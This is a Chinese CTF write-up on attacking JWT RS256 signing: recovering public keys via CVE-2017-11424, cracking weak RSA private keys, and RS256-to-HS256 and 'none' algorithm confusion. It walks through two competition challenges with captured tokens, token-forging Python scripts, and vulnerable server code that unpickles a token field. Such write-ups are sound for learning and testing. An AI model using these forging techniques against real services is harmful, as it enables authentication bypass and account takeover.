前言
上个学期打省赛的时候遇到了一道考 JWT RS256 攻击的题目,当时没有做出来(直到比赛结束这道题还是 0 解)。赛后复盘是利用 python jwt 库的 CVE-2017-11424 将加密的公钥爆破出来,然后再解出私钥,就能实现 JWT 的伪造了。本来想着这样的题目应该是比较少见的,没想到这个学期又碰见了,这回轮到我们重拳出击了!
主要思路与工具
先简要说明一下 RS256 算法,这个是利用非对称加密实现的 JWT 签名算法。主要流程是使用 RSA 算法来生成密钥对,然后使用私钥对 payload 进行签名,并使用公钥来校验。这种签名方式的好处是,用于校验的公钥可以(相对)随意分发,黑客想要伪造 token 的话必须拿到私钥,而非对称加密的数学性质使得利用公钥计算出私钥的难度很高。
看起来非常的安全,不是吗?但在某些情况还是会被攻击者抓到漏洞,使他们能够伪造 token
获取公钥
寻找常见的公钥分发手段
- 1.首先可以关注一些常用路由,例如
publickey.pem
、publickey.php
、public.key
等等,可能可以直接获取公钥 - 2.如果服务器使用了
jwk
来分发公钥,则可以在 jwt Header 处找到公钥信息 - 3.会不会有开发人员蠢到把公钥硬编码到前端呢?emmm… 好像不能排除这个可能性
利用 CVE-2017-11424 破解公钥
对于使用较旧版本 jwt 库的 python 服务,可以利用 CVE-2017-11424 来破解公钥。首先需要获取两个使用不同 payload 的 token,可以简单注册两个不同的用户来获取。然后利用工具 rsa_sign2n 尝试计算公钥
获得公钥后能进行的攻击
可以尝试篡改 Header 中的加密方式(alg
的值),将 RS256,改为 HS256。如果开发人员配置不当的话,服务器可能会将 RS256 使用的公钥作为 HS256 的密钥。此时我们利用获取的 publickey 对修改的 payload 进行签名,就有机会通过校验,达成 token 伪造的目标
获取私钥
可能的私钥泄露
- 1.通过各种信息搜集手段获取源码包后,可能在其中找到私钥文件或私钥的值
- 2.配合目录穿越等漏洞读取私钥文件
破解较弱密钥对的私钥
如果 RSA 中的 p/q 值选取不当,则会导致生成的密钥对容易被攻破。在获取有弱点的公钥后,能通过密码学手段计算出其私钥
那怎么判断拿到的公钥弱不弱呢?其实我也不太清楚,这里更多涉及到密码学的知识,如果队内有密码手的话可以请教一下,如果没有相应的知识支撑,其实我的建议是不管它到底弱不弱,先拿工具一把梭了再说
比较好用的工具有 RsaCtfTool,能通过多种算法来尝试破解 RSA
其他思路
- 1.有些 jwt 库支持 none 的校验模式,如果开发人员配置不当的话,可以篡改校验算法为 none,然后直接删除校验位,即可通过校验
- 2.当后端使用
jwk
来分发公钥时,可以尝试修改 Header 中的公钥内容,然后使用对应的私钥进行签名
题目实战
网鼎杯2024青龙组 Web01
非常幽默,赛后有知情人士表示这题就是省赛那道零解题的复刻,考点一模一样,只是优化了一下前端
随便使用某个非 admin 的账户密码即可以游客身份登录
看看 jwt token, 算法是 RS256。可以尝试爆破公钥
注册两个游客账户,拿到 jwt
用户 1232143264676547865
token=eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6IjEyMzIxNDMyNjQ2NzY1NDc4NjUifQ.HwhFATpFTr2FCKj61GGk4_dMPzMvzMKSESUqD-vb2wS_1A91sZuw_cvP4hbXzTvHDTNe_yaOPsUm2J91gpSUQwyZ0yISXoSa3zG0CCAZswP1PsYbzqkmhuhFy2pcPkQI0CFJGJ_cP1hjgG5u0FHCIYy63aiqWv1nPaogE2vKT-c1
用户 cacsadqweqwe
token=eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImNhY3NhZHF3ZXF3ZSJ9.F3vZFyorIbhANPCQ6ZZZrcZJEfMvm0p4JFqUTl4GelJRU5maCa_ujB4yMURJbEdCiBzrV7KC58vHag1dM9-7mF7ajSq1A5S_mv7bvOV3DHyDQ7xvqx-yzH2YYFuroqEJcVwmt3MilwZGFKeNQujc5LALsEk8mnBWsGOyyTWVkSoF
使用 rsa_sign2n 结果如下:
找到了几个可能的公钥
再用 RsaCtfTool
尝试对每个公钥文件生成对应的私钥
然后就可以伪造 jwt
import jwt
private_key=open('./private.pem').read()
token=jwt.encode({'username': 'admin'},private_key,algorithm='RS256')
print(token)
后续就是一些其他考点,这里不展开了
GeekChalleng2024 jwt_pickle
好好好,极客大挑战你个新生赛还放这种题目。。。巧了,我刚打完网鼎杯,这下美美拿血了
用户 qwer123
Token=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJ1c2VybmFtZSI6InF3ZXIxMjMiLCJwYXNzd29yZCI6IjIwMmNiOTYyYWM1OTA3NWI5NjRiMDcxNTJkMjM0YjcwIiwiaXNfYWRtaW4iOmZhbHNlfQ.RYuIsJSx_IjTPkLVFV5E59r-rr9nyfThe-fPLQvBWCEPqeWmEwC3FsqW6qQz6XMZU6pQufP_Hl8PehBErvm6bj1aW-aEaTEB4skeNcoARcsyIpZaRDKDRRAnIVHGDp5-NmQsywIGCazSYO0uoHNLJdmeKUm93PNYHH7p2JvXsCvNovlKpBy7doWUTK8wTSGuhJBxXRLvmrjlZPMIk4TM4bDcJ1hCIY9OBbdawgkEAsMf_Fxj-UBFnUiiA4p4Jfk04DYhZLe9f6Hrs70UhTSJG4J9n7Hi5IcUxqUDfPGNG1oIJGFeibsSoQfJ1LOkcZDyZ3tNoEYO-FXqolO0Nblo0Q
用户 caterpie666
Token=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJ1c2VybmFtZSI6ImNhdGVycGllNjY2IiwicGFzc3dvcmQiOiJmYWUwYjI3YzQ1MWM3Mjg4NjdhNTY3ZThjMWJiNGU1MyIsImlzX2FkbWluIjpmYWxzZX0.auWqVDwF07qLFchIANFLhKW-393e_2uDRBDhvwB6_O2gBpjqlF7mMC3Yl_jWddYhTTZuVuX24jqFnMG3kqBrKAgRYtjhHGzPqwYY1mNqAFOBfkzNtaqbjhTYhNLg76wNySEYOwfR0FIxfjU3OPRZ25ptGslTrDqgS4Qf6dmEfHw-ytIW-H_xqs_YkE0poSn9CdY8TpRmIAzUXlRvaTFx4E5i492f5g0reXBCnbQp8DRZV2lKRp08UZHAV_hdi_ZCHlVju7oKDWK2_6ipakaQaJP2y3iQSI56BK2CFgaMkVEuverDzUZElREOeYA5PAbVluiY17RzCmeIbxe4WpLEuw
首先用 rsa_sign2n 破解公钥
然后尝试破解私钥,结果以失败告终。但是查看附件给的源码,发现 /admin
路由验证 token 时使用了 HS256
那就考虑修改加密方式为 HS256,并使用公钥作为 HS256 的密钥来签名,以此伪造 jwt
@app.route("/admin",methods=["GET"])
def admin():
token=request.headers.get("Cookie")[6:]
print(token)
if token ==None:
redirect("login")
try:
real= jwt.decode(token, publicKey, algorithms=['HS256', 'RS256'])
except Exception as e:
print(e)
return "error"
username = real["username"]
password = real["password"]
is_admin = real["is_admin"]
if password != hashlib.md5(user_list[username].encode()).hexdigest():
return "Hacker!"
if is_admin:
serial_S = base64.b64decode(real["introduction"])
introduction=pickle.loads(serial_S)
return f"Welcome!!!,{username},introduction: {introduction}"
else:
return f"{username},you don't have enough permission in here"
用 rsa_sign2n 求解出来的可能的公钥还是挺多的,直接写一个脚本来批量生成伪造的 jwt
from pathlib import Path
import jwt
import pickle
import base64
path = Path('.')
for file in path.glob('*.pem'):
with open(file.name, 'rb') as key:
token=jwt.encode(
payload={
"username": "caterpie666",
"password": "fae0b27c451c728867a567e8c1bb4e53",
"is_admin": True,
"introduction": base64.b64encode(pickle.dumps("test message")).decode()
},
key=key.read(),
algorithm='HS256'
)
print(token)
print("---")
出现下面的错误是正常的,因为新版的 jwt 库不再允许使用 pem 格式的公钥来做 HS256 的密钥了
只需要注释掉源码中抛出错误的部分即可
然后运行脚本批量生成伪造的 jwt
接下来就可以逐个尝试,看哪个能成功通过校验
之后就是打 pickle 反序列化 getshell,不再展开